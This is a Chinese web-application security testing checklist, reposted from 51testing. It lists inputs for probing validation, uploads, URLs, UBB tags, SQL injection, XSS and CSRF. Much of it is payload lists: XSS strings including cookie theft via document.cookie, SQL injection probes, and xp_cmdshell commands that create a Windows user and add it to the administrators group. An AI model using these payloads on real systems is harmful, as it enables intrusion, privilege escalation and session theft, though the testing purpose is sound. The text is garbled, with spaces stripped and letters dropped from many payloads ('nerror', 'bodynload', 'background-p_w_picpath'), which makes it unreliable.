建立整体的威胁模型,测试溢出漏洞、信息泄漏、错误处理、SQL注入、身份验证和授权错误。

1、输入验证

客户端验证服务器端验证(禁用脚本调试,禁用Cookies)

1.输入很大的数(如4,294,967,269),输入很小的数(负数)

2.输入超长字符,如对输入文字长度有限制,则尝试超过限制,刚好到达限制字数时有何反应

3.输入特殊字符,如:~!@#$%^&*()_+<>:”{}|

4.输入中英文空格,输入字符串中间含空格,输入首尾空格

5.输入特殊字符串NULL,null,0x0d0x0a

6.输入正常字符串

7.输入与要求不同类型的字符,如:要求输入数字则检查正值,负值,零值(正零,负零),小数,字母,空值;要求输入字母则检查输入数字

8.输入html和javascript代码

9.对于像回答数这样需检验数字正确性的测试点,不仅对比其与问题最终页的回答数,还要对回答进行添加删除等操作后查看变化

例如:

1.输入<html”>”gfhd</html>,看是否出错;

2.输入<inputtype=”text”name=”user”/>,看是否出现文本框;

3.输入<script.type=”text/javascript”>alert(“提示”)</script>看是否出现提示。

关于上传:

1.上传文件是否有格式限制,是否可以上传exe文件;

2.上传文件是否有大小限制,上传太大的文件是否导致异常错误,上传0K的文件是否会导致异常错误,上传并不存在的文件是否会导致异常错误;

3.通过修改扩展名的方式是否可以绕过格式限制,是否可以通过压包方式绕过格式限制;

4.是否有上传空间的限制,是否可以超过空间所限制的大小,如将超过空间的大文件拆分上传是否会出现异常错误。

5.上传文件大小大于本地剩余空间大小,是否会出现异常错误。

6.关于上传是否成功的判断。上传过程中,中断。程序是否判断上传是否成功。

7.对于文件名中带有中文字符,特殊字符等的文件上传。

下载:

  1. 避免输入:\..\web.

  2. 修改命名后缀。

关于URL

1.某些需登录后或特殊用户才能进入的页面,是否可以通过直接输入网址的方式进入;

2.对于带参数的网址,恶意修改其参数,(若为数字,则输入字母,或很大的数字,或输入特殊字符等)后打开网址是否出错,是否可以非法进入某些页面;

3.搜索页面等url中含有关键字的,输入html代码或JavaScript看是否在页面中显示或执行。

4.输入善意字符。

UBB:

[url=http://www.****.com]你的网站[/url]

1.试着用各种方式输入UBB代码,比如代码不完整,代码嵌套等等.

2.在UBB代码中加入属性,如样式,事件等属性,看是否起作用

3.输入编辑器中不存在的UBB代码,看是否起作用

[url=alert('hello')]链接[/url]

[email=alert('hello')]EMail[/email]

[email=yangtao@rising.com.cnSTYLE="background-p_w_picpath:url(alert('XSS'))"]yangtao@rising.com.cn[/email]

[img]http://www.13fun.cn/2007713015578593_03.jpgstyle=”background-p_w_picpath:url(alert(‘alert(xss)’))”[/img]

[img]http://www.13fun.cn/photo/2007-7/2007713015578593_03.jpg“onmouseover=alert(‘hello’);”[/img]

[bSTYLE="background-p_w_picpath:url(alert('XSS'))"]一首诗酸涩涩服务网[/b]

[iSTYLE="background-p_w_picpath:url(alert('XSS'))"]一二三四五六七北京市[/i]

[u]一二三四五六七北京市[/u]

[font=微软雅黑"STYLE="background-p_w_picpath:url(alert('XSS'))"]一二三四五六七北京市[/font]

[size=4"STYLE="background-p_w_picpath:url(alert('XSS'))"]一二三四五六七北京市[/size]

[color=Red"STYLE="background-p_w_picpath:url(alert('XSS'))"]一二三四五六七北京市[/color]

[align=center"STYLE="background-p_w_picpath:url(alert('XSS'))"]一二三四五六七北京市[/align]

[float=left"STYLE="background-p_w_picpath:url(alert('XSS'))"]一二三四五六七北京市[/float]

[font=微软雅黑STYLE="background-p_w_picpath:url(alert('XSS'))"]一二三四五六七北京市[/font]

[size=4STYLE="background-p_w_picpath:url(alert('XSS'))"]一二三四五六七北京市[/size]

[color=RedSTYLE="background-p_w_picpath:url(alert('XSS'))"]一二三四五六七北京市[/color]

[align=centerSTYLE="background-p_w_picpath:url(alert('XSS'))"]一二三四五六七北京市[/align]

[list=1]

[*]一二三四五六七北京市[/list]

[indent]一二三四五六七北京市[/indent]

[float=leftSTYLE="background-p_w_picpath:url(alert('XSS'))"]一二三四五六七北京市[/float]

[media=ra,400,300,0]http://bbsforblog.ikaka.com/posttopic.aspx?forumid=109[/media]

输出编码

常用的测试输入语句有:

<inputtype=”text”/>

<input/>

<input/

<script>alert(‘hello’);</script>

1.jpg”nmouseover=”alert(‘xss’)

“></a><script>alert(‘xss’);</script>

http://xxx’;alert(‘xss’);var/a=’a

‘”>xss&<

a=”\”;b=”;alert(/xss/);//”

<imgsrc=“输出内容”border=“0”alt=“logo”/>

“’”

‘”’

“””

“““

“”“

“‘”

title=””

对输出数据到输出数据的对比,看是否出现问题。

防止SQL注入

Admin–

‘or---–--

‘and()execinsert*%chrmid

and1=1;And1=1;aNd1=1;char(97)char(110)char(100)char(49)char(61)char(49);%20AND%201=2

‘and1=1;‘And1=1;‘aNd1=1;

and1=2;‘and1=2

and2=2

anduser>0

and(selectcount(*)fromsysobjects)>0

and(selectcount(*)frommsysobjects)>0

and(SelectCount(*)fromAdmin)>=0

and(selecttop1len(username)fromAdmin)>0(username已知字段)

;execmaster..xp_cmdshell“netusernamepassword/add”—

;execmaster..xp_cmdshell“netlocalgroupnameadministrators/add”—

and0<>(selectcount(*)fromadmin)

简单的如wherextype=’U’,字符U对应的ASCII码是85,所以可以用wherextype=char(85)代替;如果字符是中文的,比如wherename=’用户’,可以用wherename=nchar(2×××)+nchar(25143)代替。

跨站脚本攻击(XSS

对于XSS,只需检查HTML输出并看看您输入的内容在什么地方。它在一个HREF标记中吗?是否在IFRAME.标记中?它在CLSID标记中吗?在IMGSRC中吗?某些Flash内容的PARAMNAME是怎样的?

~!@#$%^&*()_+<>,./?;’”[]{}\-

★%3Cinput/%3E

★%3Cscript%3Ealert(‘XSS’)%3C/script%3E

★<inputtype=”text”/>

★<input/>

★<input/

★<script>alert(‘xss’)</script>

★<script>alert(‘xss’);</script>

★</script><script>alert(‘xss’)</script>

★alert(/xss/)

★javascrip&#116&#58alert(/xss/)

★<imgsrc=”#”nerror=alert(/xss/)>

★<imgsrc=”#”style=”Xss:alert(/xss/));”>

★<imgsrc=”#”/**/onerror=alert(/xss/)width=100>

★=’><script>alert(document.cookie)</script>

★1.jpg”nmouseover=”alert(‘xss’)

★”></a><script>alert(‘xss’);</script>

★http://xxx’;alert(‘xss’);var/a=’a

★’”>xss&<

★”onmouseover=alert(‘hello’);”

★&{alert(‘hello’);}

★>”‘><script>alert(‘XSS’)</script>

★>%22%27><img%20src%3d%22alert(%27XSS%27)%22></p>

★>”‘><img%20src%3D%26%23x6a;%26%23×61;%26%23×76;%26%23×61;%26%23×73;%26%23×63;%26%23×72;%26%23×69;%26%23×70;%26%23×74;%26%23x3a;alert(%26quot;XSS%26quot;)>

★AK%22%20style%3D%22url(javascript.:alert(%27XSS%27))%22%20OS%22</p>

★%22%2Balert(%27XSS%27)%2B%22

★<tablebackground=”alert(([code])"></table>

★<objecttype=text/htmldata="alert(([code]);"></object>

★<bodynload="alert(([code])"></body>

★a?<script>alert(’Vulnerable’)</script>

★<!--'">&:

varfrom=‘$!rundata.Parameters.getString(’from’)';

varfrom=”;hackerFunction(document.cookie);”;

http://searchbox.mapbar.com/publish/template/template1010/?CID=qingke&tid=tid1010&cityName=天津<script>alert("hello")</script>&nid=MAPBXITBJRQMYWJRXPCBX

跨站请求伪造(CSRF

同个浏览器打开两个页面,一个页面权限失效后,另一个页面是否可操作成功。

当页面没有CHECKCODE时,查看页面源代码,查是是否有token。如果页面完全是展示页面,是不会有token的。

转自:http://www.51testing.com/html/18/631118-854066.html